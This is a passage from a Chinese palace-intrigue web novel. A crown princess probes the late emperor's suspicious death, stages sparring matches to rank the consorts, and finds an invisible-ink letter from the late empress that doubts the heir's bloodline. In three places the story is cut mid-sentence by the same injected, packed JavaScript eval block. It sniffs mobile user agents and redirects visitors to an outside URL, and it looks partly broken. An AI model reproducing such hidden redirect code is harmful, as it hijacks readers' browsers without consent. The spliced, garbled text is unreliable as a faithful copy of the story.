她随手捻了一块点心,不拘小节地放进嘴里。点心屑沾在嘴角,她也不擦,就那么看着他,眉眼弯弯。 这行头,这举止,都是过去五年她不曾有过的。 沈昱的目光很深,像要从她脸上看出什么来。但她只是笑,目光盈盈,嘴角还沾着点心屑,像一只偷吃了蜜的小兽。 他忽然站起来,几步走到她面前,伸手将她揽进怀里。 他的手臂收得很紧,紧得她几乎透不过气来。他的下巴抵在她发顶,呼吸喷在她额头上,烫得吓人。她感觉到他的心跳,隔着衣料撞在她胸口,咚、咚、咚,又急又重。 “怎么想起来穿这身?”他的声音闷在她发间,低低的,带着一丝不易察觉的沙哑。 秦宝宜没有挣扎。她任他抱着,手臂环过他的腰,脸贴在他胸口。声音闷闷的,从他衣襟里传出来: “今日后院的妃妾听说殿下把定位份的事统统放权给臣妾,一窝蜂地带着礼品来巴结。” 沈昱没有说话。他的手掌覆在她后背上,一下一下,轻轻摩挲。 秦宝宜继续说下去:“殿下也知道,臣妾最不擅长这些东西,”她的声音里带着一丝恰到好处的委屈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214294|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “头疼半日才想出一个好法子。” 沈昱低下头,看着怀里的人。 她仰起脸,贴着他的耳朵,语气里带着一丝得意: “臣妾让她们与臣妾比试……” 沈昱的眉头微微蹙了一下。 他本想呵斥她——太儿戏了。后宫位份,关乎朝局,关乎体统。怎能用打架来决定? 可她仰着脸看他,眉眼弯弯,嘴角还沾着那一点点心屑。那目光里有得意,有狡黠,还有一丝小心翼翼的试探——像在问:你觉得好不好? 话在嘴里转了个圈,变成一句无可奈何的: “就你鬼主意多。” 秦宝宜的眼睛亮了一下。 沈昱看着她那亮起来的眼睛,心里某个角落忽然软了一下。他抬手,用拇指轻轻擦掉她嘴角的点心屑。 “玩玩就是,”他说,声音放软了些,“不能太怠慢了李氏与柳氏,要给孩子们面子。” 秦宝宜点头:“臣妾有轻重的。” 她又仰起脸,一本正经地说:“咱们大齐以武立国,后宫位份,依然要以能者居之。” 沈昱看着她那副一本正经的样子,忽然笑了一下。 那笑容很短,只来得及在嘴角一闪,便收了回去。但他的眼底有光,柔柔的,软软的,像五年前海棠树下看着她时那样。 “秦宝宜。”他忽然唤她,连名带姓。 她微微一怔。 他鲜少这样唤她。私下是“宝宜”,人前是“爱妃”。连名带姓的“秦宝宜”,只在极少数时候——她做错事时,他板着脸训她;她闹脾气时,他无奈地哄她;还有…… 还有此刻。 “你什么都不用做,”他说,“已经无人取代了。” 她的心口抽了一下。 那抽痛很轻,轻到几乎察觉不出。但她感觉到了——像一根拔不出的细刺,扎在心上,别扭。 她垂下眼,把脸埋进他胸口。 他的手落在她后背上,轻轻拍了拍。然后他的手往下滑,滑到她腰间,勾住那根小马鞭,轻轻一抽。 马鞭落在地上,发出一声轻响。 他俯身,把她打横抱起来,向内室走去。 这一夜,与昨夜不同。 秦宝宜穿着那身骑装。沈昱的手探进去时,她不像昨夜那样躺着不动。她缠人。 她攀着他,她在他耳边低语,声音软得像化了的蜜。她笑,她躲,她主动迎上去——每一寸肌肤都在告诉他:我在。 她那身骑装,短襦落在床尾,长裙堆在脚踏上,鹿皮小靴踢到一边,只剩那根革带还松松垮垮地挂在腰间。 她的长发散落满枕,脸颊酡红,眼睛亮亮的,望着他。她的手指勾着他的衣襟,轻轻往下拉,把他拉向她。 “殿下。”她满眼是他。心里想的却是玄清观消失的棺材。 他俯下身。让她整个人贴上来,像藤缠树,像水绕石。 过去五年,她守着规矩,是因为她爱他。 如今她这样做,是因为不爱他了。 次日一早,秦宝宜醒来时,沈昱已经起了。 他坐在床边,看着她。见她睁开眼,他俯下身,在她额头上落下一个吻。 “孤去上朝。”他说,“你再睡会儿。” 秦宝宜“嗯”了一声,往被子里缩了缩。 帘子落下,隔绝了外间的光亮。 她听着沈昱的脚步声渐远,听见外间传来青黛的声音—— “殿下慢走。” 又过了一会,帘子掀开,青黛走进来。 她走到床边,压低了声音: “娘娘,奴婢将那孩子安顿在候府了。” 青黛继续说下去,“但奴婢问什么,那孩子都不说。只说——” 她顿了顿,看着秦宝宜。 “只说......他十日前见过皇上。” 殿内静下来。 良久,她开口,“备车。” 声音很轻,像一片落叶落在水面上。但那两个字里,有一种青黛从未听过的东西。 不是愤怒,不是急切,是—— 是终于等到该等的东西了。 10. 隐情 秦宝宜出门时,薛晟已经候在院门外。 他就站在那儿,不远不近,恰好能看见主院的动静,又不至于显得是在窥探。 见她出来,他垂着眼迎上前,道:“娘娘,殿下命属下护卫娘娘安全。” 秦宝宜半点不意外,“那就跟着吧。” 一路无话。 马车刚停稳,易氏已经迎了出来。 “娘娘回来得正好。”易氏目光从秦宝宜脸上扫过,又扫过她身后跟着的薛晟,很快收回,笑盈盈地说,“今日正热闹着呢。” 秦宝宜任母亲挽着手往里走,声音懒懒的:“闲着无聊,来家和母亲说说话。什么热闹?” 易氏拍拍她的手背,像是随口一提:“老家来了亲戚,娘娘也见见?” “是谁?”她问,语气仍是懒懒的。 易氏的声音不高不低,恰好能让身后的薛晟听见:“是你爹堂弟家的幺儿,今年十二岁,说书读得不错,怕在老家埋没了,所以送来京城念书。” 秦宝宜点点头,神色如常:“这也不算远亲,就见见吧。” 她没回头,但她知道薛晟跟在后面,隔着三五步的距离,不远不近。 易氏的目光扫过薛晟,笑了一声:“你这侍卫怪面生的。” 薛晟垂着眼,拱手行礼:“属下薛晟,奉殿下之命护卫娘娘。” “瞧瞧,东宫出来的人,就是不一样。”易氏笑说着,目光在他那半截断掌上停了一息,很快移开,“几个小子都在门房吃茶,你也去吧,吃杯热茶暖暖身子。” 薛晟拱了拱手,却没动:“谢夫人。属下奉命护卫娘娘,不敢懒怠。” 易氏也不勉强,“罢了,一同跟着去吧。” 花厅里烧着地龙,暖意融融。 一个半大孩子站在窗边,正仰头看着墙上挂的字画。听见脚步声,他转过身来,规规矩矩地行了个礼:“见过太子妃娘娘。” 秦宝宜的目光落在他脸上。 白白净净,穿着一身簇新的锦袍,头发梳得整整齐齐,用一根青玉簪绾住。站在那儿,像出身书香门第的小公子,斯文得体。 ——与那日火场里浑身焦黑、破衣烂衫的孩子,判若两人。 秦宝宜的余光扫过薛晟。他站在门边,垂着眼,像一截不会动的木头。 她收回目光,在主位上坐下,端起茶盏,随口问:“你叫什么?几岁了?” 那孩子抬起头,看着她。 四目相对的一瞬间,他的脸上绽开一个笑,狡黠的,机灵的,与那日火场里“我在等你”时一模一样。 “我单字一个济字。”他一字一顿,说得很慢,让她听清每一个字,“家中祖父名留。” 秦宝宜茶盏里的水轻轻晃了一下,荡出一圈涟漪。她垂下眼,望着那圈涟漪,慢慢稳住手指。 祖父名留。 ——沈留。红玉麒麟令牌的暗卫首领。 大婚前夜,先皇后把她叫到坤宁宫,屏退左右,握着她的手,说了许多话。其中有一句—— “翠翠是沈留培养出来的人。有什么事,你只管吩咐她去做。放心用。” 彼时她不懂这话的分量。什么沈留,什么暗卫,什么自保——她听过就忘,从没往心里去。 那日在玄清观,这孩子看见那枚红玉麒麟令牌时,眼睛一瞬间亮起来的样子。他说“我在等你”,字正腔圆,一字一顿。 这枚令牌,是开国时的镇国长公主留下的。从未外传过。除了长公主本人、两代帝后——没有旁人见过。 但这孩子认识这令牌,他在玄清观大火后出现,带着沈留的痕迹。 这步棋,埋得如此深久。 皇上和先皇后,是不是早就知道,她会有今日? 为什么? 就算沈秦两家再好,也是君臣。皇上为什么不向着沈昱这个储君,反而要把这股暗中传承百年的力量给她?真的只是为了让她自保吗? 青黛悄悄扯了扯她的袖子。 秦宝宜回过神来。她垂下眼,喝了一口茶,动作不紧不慢,像什么也没发生。然后她抬起眼,看着那孩子,又问了一句: “你祖父还好?” 那孩子的目光飞快地扫了一眼门边的薛晟,然后落回她脸上。 他看着她,一字一句,说得很慢,像怕她听不懂,又像怕她听漏了任何一个字: “谢娘娘惦念。老爷爷平时喜欢配些丸药吃,但有大夫看着,那些丸药对身体无碍。” 他顿了顿。 “我十日前见老爷爷时,他身子骨很好。” 轰—— 这话像一块巨石,砸进秦宝宜心里那口深井。 也就是说,这孩子,在皇上驾崩前,还亲眼见过他。 那时皇上身子骨很好。 可不过日余,就传来消息:皇上试新丹后神志不清、痰中带血,而后驾鹤西去。 而沈昱,不顾祖宗家法,下旨只停灵七日便下葬。 皇上的死,有蹊跷! 秦宝宜握着茶盏的手,指节微微泛白。她感觉到掌心渗出细密的汗,湿漉漉的,黏在瓷壁上。她努力稳住自己的呼吸,稳住自己的表情,稳住自己那颗狂跳的心。 那孩子从袖中摸出一本书,蓝布皮的,边角已经磨得发毛,显是有些年头了。他双手捧着,恭恭敬敬地呈上来: “家里也没什么好东西。这是祖父早年收藏的古籍孤本,孝敬娘娘。” 秦宝宜接过那本书。 书很轻。但她捧在手里,却觉得沉甸甸的,像捧着一块烧红的铁。 她稳住自己的声音,稳住自己的手,稳住自己脸上每一寸肌肉: “你有心了。” 她抬起眼,看着那孩子。 “本宫父亲和兄弟都在外头,你就在府上多住几日,陪陪母亲解闷。” 那孩子一脸天真,欢天喜地地应下:“多谢娘娘!” 他笑得那样乖,那样甜,像一个真正来投奔亲戚的乡下孩子,得了主家青眼,满心欢喜。 又说了几句闲话,秦宝宜看了看天色,起身告辞。 易氏送她出来,一路絮絮叨叨说着家常——老家的谁谁谁娶了媳妇,谁谁谁生了儿子,谁谁谁考中了秀才。秦宝宜听着,偶尔应一声,脚步不停。 走到二门时,她停下来,回头看了一眼那孩子。 他还站在花厅门口,规规矩矩地送客。见她回头,他又笑了一下,还是那副天真乖巧的模样。 秦宝宜收回目光,对易氏说: “三日后登基大典,母亲带他同去吧。见见世面。” 易氏微微一怔,旋即点头:“好。” 回去的路上,车帘垂落,隔绝了外间的光亮。 秦宝宜坐在车里,把那本蓝布皮书放在膝上。她没有翻开,只是把手覆在上面,感受着那粗糙的布面,感受着那微微凸起的书脊。 她的手在抖。 她努力攥紧,指节泛白,骨节凸起。但那抖还是止不住,从指尖蔓延到手腕,从手腕蔓延到小臂,像一股暗流在皮肤下面涌动,压不住,藏不了。 皇上的死,有蹊跷。 这句话在她脑子里转了一圈又一圈,像一只被困住的飞蛾,扑腾着翅膀,撞来撞去,找不到出口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214295|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车窗外透进一线天光,落在她膝上那本蓝布皮的书上。她低头看着那本书,看着那磨得发毛的边角,看着那褪了色的布面。 她没有翻开。只是把手覆在上面,感受着那粗糙的纹理,感受着那微微的凸起。 然后她开口了。 “薛晟。” 车帘外传来他的声音:“属下在。” “妃妾比武的事,明日准时进行。” 车帘外沉默了一息,然后是他的声音:“是。” 妃妾比武这件事,表人人都以为她是在窦氏死后收权、立威。但其实是个掩护。 她需要腾出手去查玄清观的真相。如果整天被这些莺莺燕燕围着送礼、请安、讨好,她寸步难行。而且她的确不了解那些女人,她需要用最快的方式看穿她们的行事作风。 她要沈昱确信,经过丧子之痛后,她把所有的错失都归咎到窦氏身上,她是悲痛过后,所以更珍惜他, 她也知道,沈昱太喜欢从前那个没脑子的秦宝宜了,巴不得她“回来”。 昨日那句——你什么都不用做,已经无人取代了。就是证据。这句话不是说给她听的,是说给他记忆里的秦宝宜听的。 马车在东宫门前停稳。 秦宝宜刚下车,就有小太监迎上来,垂首道:“娘娘,殿下请您去书房。” 秦宝宜脚步一顿。 她看了一眼天色——日头西斜,腊月的天,黑得早。这个时辰,沈昱应该还在前朝议事才对。 “知道了。”她说。 书房的门虚掩着,里头透出暖黄的光。 秦宝宜推开门。 烛火跳了一下,又稳住。光晕漫开来,照亮了案后的那个人——沈昱坐在那里,手里拿着一本折子,见她进来,抬起眼。 他的目光落在她脸上,停了一息,然后移开,落在她身后。 薛晟站在门外,垂着眼。 “退下吧。”沈昱说。 薛晟应声退下,门扇在他身后阖上,发出一声轻响。 沈昱放下折子,站起身,绕过书案,走到她面前。目光落在那本蓝布皮的书上。 “这是什么?”他问。 秦宝宜把那本书递给他:“老家亲戚送的古籍孤本,不是什么稀罕玩意儿,翻着解闷。” 沈昱接过,随手翻了翻。书页泛黄,字迹古旧,确实是有些年头的东西。他翻了两页,合上书,递还给她。 “收着吧。” 秦宝宜接过书,抱在怀里。 他转身,往里走。秦宝宜跟在后面,绕过一架紫檀屏风,然后—— 她站住了。 烛火通明,一套崭新的皇后服制,整整齐齐地挂在衣架上。 “过来。” 他牵着她的手,带她走到那套服制面前。 他的手掌覆在她手背上,引着她的手,轻轻抚过那件翟衣。金线织就的翟纹硌着指尖,细细密密的,像无数只小小的眼睛。 “历代皇后的服制都是传下来的,”他的声音响在她耳侧,温温的,软软的,“朕不想让你穿旧的。” 朕。 他已经开始用这个字了。 秦宝宜望着那件翟衣,望着那些密密麻麻的翟纹,望着那顶九翟四凤的凤冠。 “喜欢吗?”他问。 她望着那件翟衣,望着那些金线织就的翟纹。烛火映在上面,金光明灭,恍然若梦。 然后转过身,面对着他。 烛火从她身后照过来,将她的轮廓镀上一层浅淡的金边。她仰起脸,望着他,眉眼弯弯,目光盈盈。 “喜欢。”她说。 11. 比试 沈昱本来不想去凑热闹。 登基大典在即,礼部送来的折子堆了半人高,钦天监选定的吉时要一一过目,百官贺表要一一批复,就连那一百零八声登极钟由谁司敲、丹陛大乐用哪套编制,都等着他拿主意。 他从早上卯时坐到下午申时,茶凉了三盏,折子才批完一小半。 内侍进来添茶的时候,他抬起头,问了一句:“演武场那边如何?” 内侍愣了一下,旋即明白过来——殿下问的是太子妃比武的事。 “回殿下,”内侍垂着眼,答得小心,“娘娘那边……还没散。” 沈昱没说话。他低下头,继续看折子。 看了两行,又抬起头。 “什么时辰了?” “申时三刻。” 他又低下头。看了三行。 “比了几场了?” 内侍飞快地抬眼看了他一眼,又垂下去:“回殿下,听说比了七八场了,娘娘一场没输。” 沈昱的笔顿了一下。搁下。 “备马。” 演武场四周围满了人。 宫女、太监、侍卫,还有那些不用比试的低位妃嫔,挤挤挨挨地站着,伸长脖子往里看。见沈昱来,纷纷跪了一地。 沈昱摆摆手,示意他们别出声。 他站在人群后面,往场中看去。 秦宝宜正和一个穿粉色骑装的妃子交手。赵氏,近来他多去了几回,便有些得意忘形。 赵氏空有东施效颦的壳子,却与秦宝宜云泥之别。她的动作毫无章法,举着剑乱挥,像在赶苍蝇。 秦宝宜不同。站在那里,像一棵树,扎了根的。赵氏的剑刺过来,她侧身一让,轻飘飘的,像风里的柳条。她的剑不急着出,只是封住赵氏的路,让她左冲右突,怎么也碰不着自己。 沈昱看着看着,嘴角浮起笑意。 他想起从前。 还没定亲的时候,他去秦家拜访,正赶上她在校场上和兄弟们比试。那时候她才十五岁,穿着一身大红的骑装,骑一匹枣红马,满场跑着。她赢了一场,跳下马,举着剑喊:“我赢了!我赢了!”嗓子都喊破了。 秦家大哥在一旁摇头:“没个姑娘样。” 他那时候想:她比别样的姑娘好。 如今她在演武场上,收着打。 不是当年的打法了。 场中,赵氏已经气喘吁吁,剑都举不稳了。秦宝宜这才出手——剑尖轻轻一点,点在赵氏手腕上。赵氏手一松,剑落在地上。 秦宝宜说,声音不高不低,“恭喜。” 赵氏愣在那里,半天才反应过来——喜形于色。 秦宝宜已经转身,对旁边的执事太监说:“记上。赵贵人。” 下一个上来的是朴氏。沈昱记得她,外邦进献来的,生得高挑,眉眼带着异域的风情。她行过礼后,没有急着出剑,而是先打量了秦宝宜一眼。 那一眼,沈昱看懂了——她在估算对手的实力。 有点意思。 两人开始交手。 朴氏显然练过。她的剑法不是大齐的路数,带着一股野性,又快又狠。她不像赵氏那样乱挥,而是有章法地进攻,步步紧逼。 秦宝宜仍然没有出全力。沈昱看得出来——她每一招都收着三分力,只守不攻,让朴氏把所有的招式都使出来。 一炷香快到了。 朴氏收了剑,抱拳行礼:“多谢娘娘指点。” 秦宝宜看着她,目光里有一丝赞赏:“你练过?” “嫔妾在母国学过一些。”朴氏顿了顿,“但没和真正的高手交过手。今日得娘娘指点,受益匪浅。” 秦宝宜点点头,对执事太监说:“朴氏,封嫔。” 围观的妃妾们一阵骚动。朴氏刚来不久,又没有子嗣,直接封嫔,算是天上掉馅饼了。 但也只有羡慕的份。毕竟人家是真刀真枪打出来的。 沈昱站在人群后面,看着她。 她赢了,但没有笑。只是微微点了点头,转身面对下一个挑战者。 从前她赢了,笑得眼睛都弯了,满场跑着喊“我赢了”。如今那个笑,没有了。 第三个。第四个。第五个。 一个接一个,上来,下去。有撑过一炷香的,有半柱香就败下阵来的。秦宝宜始终站在那里,像一棵树,扎了根的。 沈昱一直站在人群后面看着。 他看着她收着打。每一招都留着力,让对手把所有招式都使出来,然后恰到好处地结束。不让任何人太难堪,也不让任何人太得意。 旁边李承徽的声音传来:“殿下,您不去试试?” 沈昱转头,看见李承徽站在不远处,抱着她的琴,正看着他。 “试试?”他问。 李承徽微微扬起下巴,往场中看了一眼:“娘娘的功夫,嫔妾们领教过了。殿下的功夫,嫔妾们还没见过呢。” 沈昱看向场中。秦宝宜刚结束一场比试,正接过青黛递来的帕子擦汗。她穿着那身绿色的骑装,额角有细密的汗珠,在日光下闪着光。 他开始想念她真正的样子。 不是这个“恰到好处”的太子妃。是那个从前满院子跑着喊“我赢了”的姑娘。 他抬脚,走进场中。 人群自动让开一条道。 秦宝宜抬起头,看见他,愣了一下。那愣怔很短,短到几乎察觉不出。然后她放下帕子,屈膝行礼:“殿下怎么来了?” 日光很盛,照在她脸上,把那张脸照得清清楚楚。她的眉眼还是那副眉眼,杏核形,眼尾微微上挑。她的嘴唇微微抿着,像是在等他说什么。 “孤来看看。”他说。 他说这话的时候,目光落在她脸上,带着期待。 秦宝宜的眼神却很平,没什么情绪。 “殿下想看什么?”她问。 沈昱伸手,从旁边的兵器架上抽出一把剑。剑身雪亮,在日光下闪着寒光。他掂了掂,顺手挽了个剑花。 “想看看,”他说,“你还能不能像从前那样打。” 全场寂静。 所有人都在看着他们。那些妃嫔们,那些宫女太监们,那些侍卫们——都屏住呼吸,看着场中这对夫妻。 秦宝宜没有动。 她看着他手里的剑,看了很久,像是在审视、在掂量、在拿捏分寸。 然后她眉眼弯弯一笑。接过青黛递来的剑,握在手里,掂了掂。 “殿下,”她说,“臣妾失礼了。” 她的剑刺过来的时候,沈昱的眼睛亮了一下。 这一剑,没有收着。 他侧身让开,剑锋从他耳边擦过,带起一阵细风。他的剑顺势递出,点向她的肩头。她拧身避开,剑尖从她腰侧划过,划破了一小片衣料。 两人分开,重新站定。 “这才像话。”他说。 秦宝宜没有说话。她的剑横在身前,剑尖微微颤着。 沈昱先动。 他的剑劈下来,带着风声。她举剑架住,两剑相击,发出一声脆响。他加力,她退了一步,靴底在沙地上犁出两道浅沟。 他没有停。他的剑一剑接一剑。她一一架住,没有再退,但也没有进攻。 “出手。”他说。 她没有动。 他加了几分力,剑势更猛。她仍然只是防守,剑封得密不透风,但就是不进攻。 “秦宝宜。”他唤她,声音里带了一丝恼意,“出手。” 她的眼睛看着他,那目光很平静。平静得像一潭死水,扔进一颗石子,涟漪都不会荡起一圈。 他忽然恼了。 不是恼她。是不知道自己 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这是习惯。五年来,每一次她累了、输了、不高兴了,他都这样伸手。她总是把手放上来,冲他笑一笑,说“殿下真好”。 此刻,他的手伸出去,悬在半空。 她站在那里,看着他伸过来的手。 那只手,她太熟悉了。海棠树下,他这样伸着手等她放上去。大婚之日,他这样伸着手接她步入东宫。火海边,他这样伸着手,说“随朕回宫”。 每一次,她都放了上去。 这一次,她借着收剑,把手背在了身后。 演武场的热闹散尽时,天色已经暗下来了。 秦宝宜回到正院,卸下那身骑装,换上家常的素色襦裙。青黛端来一盏热茶,退到门边守着,不说话。 殿内静下来。 烛火跳动着,在墙上投下忽明忽暗的光影。窗外风声时远时近,偶尔传来枯枝断裂的脆响,啪的一声,又归于寂静。 秦宝宜坐在窗边,端着那盏茶,没有喝。 她望着茶盏里自己的倒影。望着望着,就走神了。 沈昱。他今天来了。 不是来看她的——是来确认她的。 他的眼睛在她身上停留得太久。她的剑刺过去时,他的眼睛亮起来。她收着打时,他皱起眉头。她不出手时,他“忽然没了兴致”。 她把这些都看在眼里。 他在确认她还是不是从前的秦宝宜。 那她给他的答案是:是。也不是。 她笑了,她打了。但她最后把手背在身后,没让他碰着。 这就够了。 让他知道她还在。让他知道她不在。 让他去猜。 不知过了多久,茶凉了。她把茶盏搁下,手指碰到瓷壁,凉的。她低头看了一眼,又抬起头,继续望着窗外。 窗纸被风吹得轻轻作响,一下一下,像有人在远处敲更鼓。她听着听着,忽然想起小时候去过北境,也是这样听着风声入睡。 那时候真好。 她又想起那些人。 赵氏赢了。蠢人有蠢人的用处。 柳氏从头到尾没上场。这种人,要么是真老实,要么是藏得最深。 李承徽也没下场,但她开口撺掇了沈昱一句。那句话,是试探。 朴氏认真打了,真心谢了。聪明人,可以用。 她把她们的样子在心里过了一遍,就没再想了。 明日再想吧。今夜,她累得很。 起身时,她的目光落在桌边。 那本蓝布皮的书,她翻了三遍,还是一无所获。 12. 血统 次日上午,秦宝宜拟了妃妾位份的折子,交给沈昱的内侍太监孙荣。柳氏为贤妃,李承徽为德妃,朴氏为慧嫔,赵氏为贵人,其余人按家世补空添上去就是。 她搁下笔,看着那折子上的墨迹一点点干透。 她给了她们体面,给了她们应得的位份,不多不少,刚刚好。 她把折子递出去,再没想这事。 下午,孙荣又来了。 秦宝宜正在窗边坐着,手里捧着那本蓝布皮的书。听见脚步声,她起身绕过屏风,见孙荣躬身进来,脸上带着那种惯常的、不显山不露水的笑。 “娘娘,”他垂着眼,声音不高不低,“殿下看了折子,说把赵氏的位份提一提,赐封号丽。” 秦宝宜的手指轻轻蜷了一下。 她没说话,等着。 孙荣顿了顿,又补了一句:“殿下的意思,是妃位。” 妃位。 沈昱昨夜宿在赵氏院子里。那个穿着梅子色骑装、腰勒得细细的、站在演武场上举着剑乱挥的赵氏。 “殿下说,”孙荣的声音继续传来,不高不低,像在说一件极寻常的事,“赵氏父亲于农桑事情上得用。” 一个县令罢了,能有多少政绩,够把女儿推到妃位上。 秦宝宜抬起眼,看着孙荣。他的脸隐在帘子的阴影里,看不清表情,但那目光是亮的,正落在她脸上,等着看她的反应。 她明白。 沈昱是在试她。 愤怒?吃醋?那是从前的秦宝宜。 克制?委屈?那是太子妃该有的样子。 她应该选哪一个? “不行。”她说。 那两个字从她嘴里说出来,很轻,但很稳。像一颗石子投进深潭,涟漪都没荡起几圈,就那么沉下去了。 孙荣愣了一下。 秦宝宜抬起眼,看着他。她没有愤怒,也没有恭顺——她只是觉得膈应。 “不合适。”她说,一字一顿,“无家世、无子嗣,她配不上妃位。” 孙荣张了张嘴,脸上的笑僵了一瞬。他很快低下头去,但那一眼的惊诧,秦宝宜看见了。 “这……”他的声音低下去,“娘娘,这是殿下的意思……” “你去回殿下,”她说,声音不高不低,像在吩咐一件寻常事,“殿下若喜欢赵氏,嫔位就行。” 她顿了顿,看着孙荣。 “照本宫说的去回。” 孙荣站在那儿,垂着眼,没动。 秦宝宜也不催他。她只是看着他,目光平静得像一潭死水。 良久,孙荣躬身,退了出去。 帘子落下,隔绝了外间的光亮。殿内静下来。 秦宝宜坐在窗边,眼看着孙荣走出院子。重新坐回书桌旁,目光落在桌边那本蓝布皮的书上。 她伸手,把书拿起来。 已经翻第三遍了。还是什么也没有。 书页泛黄,字迹古旧。她慢慢翻着,一页一页,还是那些民间传说故事——这个神仙救了那个凡人,那个孝子感动了天地,与皇室半点扯不上关系。 她伏在桌上,一页页慢慢翻过,仔细看。翻到中间,她的手指忽然停住了。 ——这几页,手感不对。 她捏了捏,比别的页厚。不是厚很多,只是那么一点点,几乎察觉不出。但她的手指摸出来了——她从小练剑,指尖比旁人敏感,再细微的差别也瞒不过她。 她把书举起来,对着烛火,侧着看。 烛光透过来,照亮了那几页的边缘。 她看见了。 字上覆着一层薄薄的胶。那胶是透明的,几乎看不见,但烛光照过来的时候,边缘有一点点反光,像蛛丝。 秦宝宜的心跳漏了一拍。 她翻来覆去看了几遍,还是没看出别的门道。这几页上的故事,讲的是一只墨鱼以骨入药、救人性命的传说。她读了两遍,没什么特别的。 “青黛。”她抬起头。 青黛正守在门边,听见唤,立刻走过来:“主子?” 秦宝宜把书递给她:“你来看看,对这故事有没有什么印象。” 青黛接过书,低头看了一会儿。她的眉头微微蹙起,像是在努力回忆什么。然后她忽然一拍大腿—— “墨鱼骨?” 她压低了声音,眼睛亮起来:“主子忘了?那年咱们在北境,军中常用墨鱼骨来止血敛疮的。老爷还说,这是从……从哪本古书上传下来的方子来着……” 两人对视一眼。 “南海录!” 秦宝宜霍然站起身。 青黛已经跑到书架前,翻找起来。一本,两本,三本——没有。 秦宝宜的心往下沉了沉。她深吸一口气,稳住自己。 “去皇后娘娘给我添的嫁妆箱子里找。” 青黛应声去了。秦宝宜站在原地,望着那本蓝布皮的书,手指轻轻攥紧。 添妆。是她婚后三年,先皇后临终前又送来的一箱子金银珠宝、孤本古玩,她没舍得用,就放在立柜里收着。 不多时,青黛回来了。手里捧着一本书,蓝布皮的,和桌上那本一模一样。 秦宝宜接过,翻开。 南海录。海物篇。首页注脚处,果然提到了墨鱼。 ——以此鱼之墨汁书写,字迹风干后可自然消失。墨中辅以骨胶,遇水后可重现墨迹。 秦宝宜放下书,端起桌上的茶盏。茶已经凉了,但她顾不得。她端起茶盏,将茶水慢慢倒在书页上。 水洇开来,浸透了那几页纸。 一个呼吸。两个呼吸。三个呼吸。 原本的字行之间,空白的地方,渐渐显出了别的字迹。 一行,两行,一页,两页。 秦宝宜的手抖得越来越厉害。她把茶盏放下,用帕子轻轻按着书页,吸去多余的水分。那字迹越来越清晰,越来越完整—— 是信。是皇后写给她的信。 “吾儿宝宜——” 第一行字映入眼帘的瞬间,秦宝宜的眼眶忽然热了。 吾儿。先皇后哄她时,常叫她“吾儿”。在坤宁宫的那些年,先皇后握着她的手,教她绣花、教她理账、教她看人,开口闭口都是“吾儿”。 她以为那是客气,是长辈对晚辈的疼爱。 如今她才明白,那是真的。先皇后是真的把她当女儿。 她往下读。 “吾儿宝宜: 见信时,母后已不在人世久矣。母后亲子未能长大,此一生憾事。幸得宝宜,聊慰母心。病中自觉大限将至,心中颇多不放心,特留此书。 第一,宝宜的若日子过得幸福安稳,此信永远不会被读到。但若读到此信,则说明祸起萧墙,连皇上也束手无策。 第二,你能读到此信,想必已拿到令牌。那令牌不仅是让用来自保的,更干系着沈氏江山的兴亡,是托付。 第三,也是母后最放心不下的一事——沈昱的血统。 母后时日无多,没有确凿证据。宝宜可以选择查,也可以不查。若不查,就赐死翠翠,将令牌打碎沉湖,从此烂在心里,不要对任何人说。不要打草惊蛇,也不要试探沈昱。 切记,切记。 母字。” 书从秦宝宜手里滑落,砸在桌上。 她坐在那儿,一动不动。 脑子里像有什么东西炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217588|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了,嗡嗡地响。那些字一个一个从眼前飘过,她却抓不住任何一个。 血统? 沈昱的血统? 她以为她与沈昱之间,隔的是劳燕分飞,是同床异梦,是那个死在雪地里的孩子。 她以为这就是最坏的了。 可这封信告诉她,还有更坏的。 她的脑子里乱成一团。无数个念头涌上来,又散开,散开,又涌上来。她想抓住一个,好好想一想,但什么都抓不住。 ——先皇后为什么会这样怀疑? ——沈昱知道吗? ——皇上知道吗? ——她该怎么办? 她的手颤抖着,攥紧了桌沿。指节泛白,骨节凸起。那抖还是止不住,从指尖蔓延到手腕,从手腕蔓延到小臂,蔓延到全身。 她低头,看见自己的手,看见那本书,看见先皇后的字迹又渐渐消失。 她想起先皇后送她出嫁那天,眼眶红红的,说“往后谁欺负你,告诉母后,母后替你出头”。 先皇后不是说说而已。先皇后是真的替她想了。想了这么多,这么远,连她读信时是什么处境都想到了。 她忽然想哭。 不是为了自己。是为了先皇后。 先皇后一个人,怀着这样的怀疑,病着,熬着,熬到死。不能对任何人说,只能把这秘密藏在这本书里,等她来发现。 门忽然被推开。 青黛的声音从屏风外传来:“奴婢给殿下请安。” 秦宝宜的心猛地一缩。 